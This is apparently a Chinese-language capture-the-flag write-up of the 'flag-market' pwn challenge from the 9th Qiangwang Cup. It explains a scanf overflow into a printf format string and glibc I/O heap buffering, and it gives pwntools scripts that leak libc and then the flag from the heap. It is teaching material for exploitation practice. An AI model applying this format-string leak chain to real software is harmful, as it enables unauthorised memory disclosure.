Stories

Detail Return Return

第九屆強網杯線上賽PWN_flag-market - Stories Detail

第九屆強網杯線上賽PWN_flag-market

一、題目

二、信息蒐集

下載題目給的附件,查看文件ctf.xinetd之後,知道我們的可執行程序名為chall:

這個文件在附件中的bin目錄下。

通過file命令查看文件類型:

image

通過checksec命令查看文件保護措施:

image

三、反彙編文件開始分析

1、分析程序基本邏輯

將chall文件丟入64位的IDA Pro中,開始反彙編操作,由於彙編代碼過長,我們通過看C語言代碼來把握整體代碼邏輯:

__int64 __usercall main@<rax>(char **a1@<rsi>, char **a2@<rdx>, __int64 a3@<rbp>, __int64 a4@<rdi>)
{
  __int64 *v4; // rsi
  const char *v5; // rdi
  __int64 result; // rax
  unsigned int v7; // eax
  unsigned __int64 v8; // rdx
  unsigned __int64 v9; // rt1
  signed int i; // [rsp-8Ch] [rbp-8Ch]
  __int64 v11; // [rsp-80h] [rbp-80h]
  signed int v12; // [rsp-71h] [rbp-71h]
  signed __int16 v13; // [rsp-6Dh] [rbp-6Dh]
  __int64 v14; // [rsp-68h] [rbp-68h]
  __int64 v15; // [rsp-58h] [rbp-58h]
  unsigned __int64 v16; // [rsp-10h] [rbp-10h]
  __int64 v17; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v17 = a3;
  v16 = __readfsqword(0x28u);
  sub_401336(a4, a1, a2);
  v12 = 'alf/';
  v13 = 'g';
  v11 = my_fopen(&v12, &unk_402008);
  dword_40430C = 1;
  while ( 1 )
  {
    my_puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
    my_memset(&v14, 0LL, 16LL);
    v4 = &v14;
    my_read();
    if ( (unsigned __int8)my_atoi() != 1 )
      break;
    my_puts("how much you want to pay?");
    my_memset(&v14, 0LL, 16LL);
    v4 = &v14;
    my_read();
    if ( (unsigned __int8)my_atoi() == -1 )
    {
      my_puts(aThankYouForPay);
      if ( !dword_40430C || (v4 = (__int64 *)64, !my_fgets(&v15, 64LL, v11)) )
      {
        v5 = "something is wrong";
        my_puts("something is wrong");
        result = 0LL;
        goto LABEL_16;
      }
      for ( i = 0; ; ++i )
      {
        if ( i > 64 )
        {
          v5 = "\nThank you for your patronage!";
          my_puts("\nThank you for your patronage!");
          result = 0LL;
          goto LABEL_16;
        }
        if ( *((_BYTE *)&v17 + i - 80) == '{' )
          break;
        my_putchar((unsigned int)*((char *)&v17 + i - 80));
        my_sleep(1LL);
      }
      my_memset(&v15, 0LL, 64LL);
      my_puts(a1m31mError0mSo);
      my_puts("opened user.log, please report:");
      my_memset(aEverythingIsOk, 0LL, 256LL);
      scanf("%s", aEverythingIsOk);
      my_getchar("%s", aEverythingIsOk);
      v7 = my_open("user.log");
      my_write(v7, aEverythingIsOk, 256LL);
      my_puts(aOkNowYouCanExi);
    }
    else
    {
      my_printf(aYouAreSoParsim);
      if ( dword_40430C )
      {
        my_fclose(v11);
        dword_40430C = 0;
      }
    }
  }
  v5 = 0LL;
  result = my_exit();
LABEL_16:
  v9 = __readfsqword(0x28u);
  v8 = v16 - v9;
  if ( v16 != v9 )
    result = my___stack_chk_fail(v5, v4, v8);
  return result;
}

我已經將一些為命令函數進行了重命名操作,這樣便於我們的分析。重命名可以依據經驗,也可以通過gdb動態調試來確定函數。

程序首先會通過fopen函數打開根目錄下的flag文件,接着會出現兩個選擇即:

  • take my money
  • exit

選擇二就直接退出了。

如果我們選擇一,那麼程序就會通過read函數來獲取你的輸入,接着判斷你輸入的值是否是“-1”:

  • 是:將打開的flag文件中的內容寫入到地址&v15處,然後通過for循環逐字節讀取flag。但是,遇到“{”之後就會終止讀取。接下來,就是一個向上彙報錯誤的過程。
  • 不是:打印一段文字,然後關閉(fclose)打開的flag文件。

很明顯,這一部分出現printf函數,而且該函數並沒有指定格式化字符,那麼會不會存在格式化字符串漏洞?

2、格式化字符串漏洞

printf的參數來自.data段:

.data:00000000004041C0 aYouAreSoParsim db 'You are so parsimonious!!!',0

如果我們能控制這一部分的數據,就可以造成格式化字符串漏洞。

觀察後,可以發現我們的scanf函數用的格式化字符是%s即可以無限長地輸入(只要不輸入空白字符),而且輸入的位置剛好也在.data段且位置比“aYouAreSoParsim”低:

.data:00000000004040C0 aEverythingIsOk db 'everything is ok~',0

那麼,格式化字符串漏洞的觸發就是通過scanf函數的輸入來覆蓋“aYouAreSoParsim”部分,接着通過printf函數實現漏洞的觸發。

3、思路

找到了關鍵漏洞,我們就要理一下思路,即思考我該怎麼做才能獲得flag?

首先,我們肯定不能通過任意地址讀來去棧上找flag,因為雖然flag被寫在了棧上,但是,後續程序利用了my_memset(&v15, 0LL, 64LL);將該位置的信息全都清空了。

但是,堆上的flag呢?

可能有人會有疑惑,堆上哪來的flag,整個程序我都沒見過堆操作。

其實是有的。簡單來説,I/O類型的函數(如fopenfgets等)為了提到效率,會用到“緩衝”機制,這個緩衝機制就是通過調用malloc來實現的。

讓我們從一個簡單的場景開始,逐步深入。

場景:如果沒有緩衝會怎樣?

想象一下,你的程序要從一個文件中讀取1MB(大約一百萬字節)的數據。

FILE *fp = fopen("large_file.txt", "r");
for (int i = 0; i < 1000000; i++) {
    fgetc(fp); // 一次只讀一個字節
}

如果沒有緩衝機制,fgetc的每一次調用都會觸發一次系統調用。系統調用是程序從用户態切換到內核態去請求操作系統服務的唯一方式。這個切換過程涉及到上下文保存、權限檢查等,開銷非常大。

這意味着,為了讀取1MB的數據,你的程序需要進行一百萬次的用户態/內核態切換。這將會慢得令人無法忍受。

為了解決這個問題,C標準庫(glibc)引入了緩衝機制。

假設,當你的程序第一次調用fopen打開一個文件時,會發生以下事情:

  1. 創建管理結構fopen在內部會調用malloc來開闢一片空間,這片空間中會存放一個叫FILE的結構體(或_IO_FILE_plus),該結構體用來管理:
    • 文件的描述符(操作系統給的一個數字)。
    • 當前讀寫位置。
    • 是否發生了錯誤。
    • 指向緩衝區的指針。
  2. 分配I/O緩衝區:光有管理結構還不夠,還需要一個地方來存放從文件裏預讀出來的數據。這個地方就是I/O緩衝區。
    • 當你的程序第一次嘗試從文件讀取數據時(例如,第一次調用fgetcfgets),_IO_FILE的內部邏輯會檢查自己是否有緩衝區。
    • 如果沒有,它就會向內核申請一大塊數據,即此時第二次調用了malloc
    • 然後,就是讀的操作了(它會發出一次系統調用如read),讓內核一次性把數據從文件填充到這個新分配的緩衝區裏。
    • 最後,讀寫函數會從這片緩衝區中操作數據。

在完成了上述初始化之後,後續的I/O操作就變得非常高效了:

  • fgetc的調用,將不再需要任何系統調用。它們只是簡單地從那個已經填滿數據的堆上緩衝區裏,一個接一個地取出字節。這只是純粹的內存操作,速度極快。
  • 只有當緩衝區裏的數據被全部讀完後,下一次讀取操作才會再次觸發一次系統調用,去請求下一個數據塊。

對於寫入操作(如fprintf, fputc),原理也是類似的,這裏不再贅述。

好,瞭解了這些之後,我們應該知道,堆上為什麼也會有flag了吧。

那麼,我們的思路就是,利用格式化字符串漏洞,實現任意地址讀取,讀到堆上的flag。

問題又出現了,怎麼知道堆的地址呢?

這又涉及到一個知識點:針對動態鏈接的程序,在他的libc庫中,會存在指向IO緩衝區的指針。

這也很好理解,libc庫中有很多的IO函數,那麼操作一塊堆空間最好的方式就是給我一個指向它的指針。

綜上,我們的思路:

  1. 格式化字符串漏洞泄露libc基址。
  2. 通過格式化字符串漏洞泄露堆上的flag。

四、Poc的構造

根據思路,按部就班地完成Poc的構造。

1、泄露libc基址

首先分析棧上的構造,程序中的第二個read函數的輸入位置為[rbp-60h]

flag在棧上的臨時位置在[rbp-50h]他們的關係就是:

寫一個測試腳本:

from pwn import *

context(arch="amd64",os="linux",log_level="debug")

# p = remote("127.0.0.1",9999)

p = process("./chall")

p.sendafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'-1'.ljust(8,b'\x00'))

padding = 0x100

payload = b'A'*padding

for i in range(1,50):
    payload += f'%{i}$p-'.encode()

p.sendlineafter(b'opened user.log, please report:',payload)

p.sendlineafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(0x404050))

p.interactive()

可以看到,運行之後可以看到(關鍵部分):

0x2-(nil)-0x7ffd2c748851-0x1999999999999999-(nil)-0xc000-0x402b00000-0xffffffff00000010-0x27c212a0-0x2f0000000000c000-0x7f0067616c66-0x32-0x404050-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-0x7ffd2c748990-0x8988df52354d0500-0x7ffd2c748950-0x7e84d7c2a1ca-0x7ffd2c748900-0x7ffd2c7489d8-0x100400040-0x40139b-0x7ffd2c7489d8-0x9a34b258d05c60e2-0x1-(nil)-0x403e18-0x7e84d800c000-0x9a34b258d37c60e2-0x98c7453481fe60e2-0x7ffd00000000-(nil)-(nil)-0x1-0x7ffd2c7489d0-0x8988df52354d0500-0x7ffd2c7489b0-0x7e84d7c2a28b-0x7ffd2c7489e8-0x403e18-0x7ffd2c7489e8-0x40139b-welcome to flag market!

很明顯,這連續的(nil)就是my_memset(&v15, 0LL, 64LL);的傑作。

因此,我們可以推斷,第14個位置就是[rbp-50h]

那麼,我們可以通過和read輸入的配合,實現:

本階段Poc:

from pwn import *

context(arch="amd64",os="linux",log_level="debug")

# p = remote("127.0.0.1",9999)

p = process("./chall")

p.sendafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'-1'.ljust(8,b'\x00'))

padding = 0x100

payload = b'A'*padding + b'%13$s#'

# for i in range(1,50):
#     payload += f'%{i}$p-'.encode()

p.sendlineafter(b'opened user.log, please report:',payload)

p.sendlineafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(0x404050))

p.recvline()
leak = u64(p.recvuntil(b'#')[:-1].ljust(8,b'\x00'))
success("read_addr:" + hex(leak))

libc_base = leak - 0x11ba80

其中,p64(0x404050)是read@got的地址:

.got.plt:0000000000404050 off_404050      dq offset sub_4010A0    ; DATA XREF: my_read+4↑r

0x11ba80,這個偏移量,是read在libc.so.6中的偏移量,為什麼選擇這個?

在上述Poc的輸出中,會輸出泄露的read的真實地址:

[+] read_addr:0x78a9a251ba80

拿這個地址去網站上搜索一下

image

接着問AI:

image

然後在網站上點擊該庫文件即可看到偏移量:

image

2、找指向緩衝區的指針

我們通過gdb的find命令,就可以很容易找到在libc中指向緩衝區的指針

為了程序的順利執行,我們需要在我們的虛擬器的根目錄下創建一個flag文件。原因很簡單,我們之前分析過,程序會打開根目錄下的flag文件,如果沒有找到,就會報錯。

我這已經準備好了:

(pwn-env) zyf@zhengyifeng:/mnt/c/Users/14363/Downloads/ctf-downloads/flag-market/bin$ cat /flag
flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}

gdb打開程序,將斷點設置在0x4015B3

斷點沒硬性要求,但是需要在建立緩衝區之後,即fgets之後。

通過got命令找到read的真實地址:

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /mnt/c/Users/14363/Downloads/ctf-downloads/flag-market/bin/chall:
GOT protection: Partial RELRO | Found 17 GOT entries passing the filter
[0x404018] putchar@GLIBC_2.2.5 -> 0x7ffff7c89ce0 (putchar) ◂— endbr64
[0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7c87be0 (puts) ◂— endbr64
[0x404028] write@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] fclose@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
[0x404038] __stack_chk_fail@GLIBC_2.4 -> 0x401070 ◂— endbr64
[0x404040] printf@GLIBC_2.2.5 -> 0x401080 ◂— endbr64
[0x404048] memset@GLIBC_2.2.5 -> 0x7ffff7d89440 (__memset_avx2_unaligned_erms) ◂— endbr64
[0x404050] read@GLIBC_2.2.5 -> 0x7ffff7d1ba80 (read) ◂— endbr64
[0x404058] fgets@GLIBC_2.2.5 -> 0x7ffff7c85b30 (fgets) ◂— endbr64
[0x404060] getchar@GLIBC_2.2.5 -> 0x4010c0 ◂— endbr64
[0x404068] setvbuf@GLIBC_2.2.5 -> 0x7ffff7c88550 (setvbuf) ◂— endbr64
[0x404070] open@GLIBC_2.2.5 -> 0x4010e0 ◂— endbr64
[0x404078] fopen@GLIBC_2.2.5 -> 0x7ffff7c85e60 (fopen64) ◂— endbr64
[0x404080] atoi@GLIBC_2.2.5 -> 0x7ffff7c46660 (atoi) ◂— endbr64
[0x404088] __isoc99_scanf@GLIBC_2.7 -> 0x401110 ◂— endbr64
[0x404090] exit@GLIBC_2.2.5 -> 0x401120 ◂— endbr64
[0x404098] sleep@GLIBC_2.2.5 -> 0x7ffff7d0ec50 (sleep) ◂— endbr64

算出libc的基址:

pwndbg> p/x $libc_base =  0x7ffff7d1ba80 - 0x11ba80
$1 = 0x7ffff7c00000

接下來,我們可以先在堆上找到flag的準確位置

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x1e0 (with flag bits: 0x1e1)

Allocated chunk | PREV_INUSE
Addr: 0x405470
Size: 0x1010 (with flag bits: 0x1011)

Top chunk | PREV_INUSE
Addr: 0x406480
Size: 0x1fb80 (with flag bits: 0x1fb81)

pwndbg> telescope 0x405000 0x500
00:0000│      0x405000 ◂— 0
01:0008│      0x405008 ◂— 0x291
02:0010│      0x405010 ◂— 0
... ↓         80 skipped
53:0298│      0x405298 ◂— 0x1e1
54:02a0│      0x4052a0 ◂— 0xfbad2488
55:02a8│      0x4052a8 —▸ 0x4054ab ◂— 0
56:02b0│      0x4052b0 —▸ 0x4054ab ◂— 0
57:02b8│      0x4052b8 —▸ 0x405480 ◂— 'flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}\n'
... ↓         4 skipped
5c:02e0│      0x4052e0 —▸ 0x406480 ◂— 0
5d:02e8│      0x4052e8 ◂— 0
... ↓         3 skipped
61:0308│      0x405308 —▸ 0x7ffff7e044e0 (_IO_2_1_stderr_) ◂— 0xfbad2087
62:0310│      0x405310 ◂— 3
63:0318│      0x405318 ◂— 0
64:0320│      0x405320 ◂— 0
65:0328│      0x405328 —▸ 0x405380 ◂— 0
66:0330│      0x405330 ◂— 0xffffffffffffffff
67:0338│      0x405338 ◂— 0
68:0340│      0x405340 —▸ 0x405390 ◂— 0
69:0348│      0x405348 ◂— 0
... ↓         2 skipped
6c:0360│      0x405360 ◂— 0xffffffff
6d:0368│      0x405368 ◂— 0
6e:0370│      0x405370 ◂— 0
6f:0378│      0x405378 —▸ 0x7ffff7e02030 (_IO_file_jumps) ◂— 0
70:0380│      0x405380 ◂— 0
... ↓         29 skipped
8e:0470│      0x405470 —▸ 0x7ffff7e02228 (_IO_wfile_jumps) ◂— 0
8f:0478│      0x405478 ◂— 0x1011
90:0480│      0x405480 ◂— 'flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}\n'
91:0488│      0x405488 ◂— '285cb-c1b3-49ff-820b-8075a639bc1e}\n'
92:0490│      0x405490 ◂— 'b3-49ff-820b-8075a639bc1e}\n'
93:0498│      0x405498 ◂— '820b-8075a639bc1e}\n'
94:04a0│      0x4054a0 ◂— '5a639bc1e}\n'
95:04a8│ r8-3 0x4054a8 ◂— 0xa7d65 /* 'e}\n' */
96:04b0│      0x4054b0 ◂— 0
... ↓         506 skipped
291:1488│      0x406488 ◂— 0x1fb81
292:1490│      0x406490 ◂— 0
... ↓         621 skipped
pwndbg>

很明顯,最低在0x4052b8就出現了。

現在,我們就可以通過find命令找到那個指針了:

注意,不要直接找flag所在的位置,要找flag所在的那個chunk的位置,因為指針指向的是chunk的位置而不是flag的位置。

pwndbg> find /g $libc_base,$libc_base+0x400000,0x405000
0x7ffff7e031e0 <mp_+96>
warning: Unable to access 16000 bytes of target memory at 0x7ffff7e0ed68, halting search.
1 pattern found.

找到的0x7ffff7e031e0 <mp_+96>是在libc中的,而且我們已經泄露了libc的地址。那麼,我們就可以通過格式化字符串漏洞的任意地址讀泄露0x7ffff7e031e0中的內容即堆指針。但是,此時泄露出來的信息是chunk的地址,因此,為了準確定位flag,我們還得知道偏移量即0x480

3、最終Poc

from pwn import *

context(arch="amd64",os="linux",log_level="debug")

# p = remote("127.0.0.1",9999)

p = process("./chall")

p.sendafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'-1'.ljust(8,b'\x00'))

padding = 0x100

payload = b'A'*padding + b'%13$s#'

# for i in range(1,50):
#     payload += f'%{i}$p-'.encode()

p.sendlineafter(b'opened user.log, please report:',payload)

p.sendlineafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(0x404050))

p.recvline()
leak = u64(p.recvuntil(b'#')[:-1].ljust(8,b'\x00'))
success("read_addr:" + hex(leak))

libc_base = leak - 0x11ba80

success("libc_base:" + hex(libc_base))

p.sendafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(libc_base+0x2031e0+1))

p.recvline()
heap_addr = u64(p.recvuntil(b'#')[:-1].ljust(8,b'\x00')) << 8
success("heap_addr:" + hex(heap_addr))

# gdb.attach(p)
# pause()

p.sendafter(b'2.exit',b'1')

p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(heap_addr+0x480))

p.interactive()

需要注意的是,我們在動態調試中找到的那個指針:

pwndbg> telescope 0x7ffff7e031e0
00:0000│     0x7ffff7e031e0 (mp_+96) —▸ 0x405000 ◂— 0

在小端序中,其最低地址字節是"\x00",這就會導致我們構造的格式化字符串"%s"直接戛然而止。

因此,我們可以通過"地址+1"的手段,來跳過該空字符,然後泄露地址完成之後,通過左移1字節(8位)的操作(對應腳本<< 8),實現最低有效位(\x00)的補回。

最終Poc的執行效果(關鍵部分):

[DEBUG] Received 0x82 bytes:
    b'flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}\n'
    b'#welcome to flag market!\n'
    b'give me money to buy my flag,\n'
    b'choice: \n'
    b'1.take my money\n'
    b'2.exit\n'
flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}
#welcome to flag market!
give me money to buy my flag,
choice:
1.take my money
2.exit

可以看到flag被我們泄露出來了~

user avatar zhuzhuxia Avatar zz_687de23306895 Avatar youfujidezhenzhishan Avatar aitaokedeloufang Avatar hetianlab Avatar wan9 Avatar zerkalo Avatar
Favorites 7 users favorite the story!
Favorites

Add a new Comments

Some HTML is okay.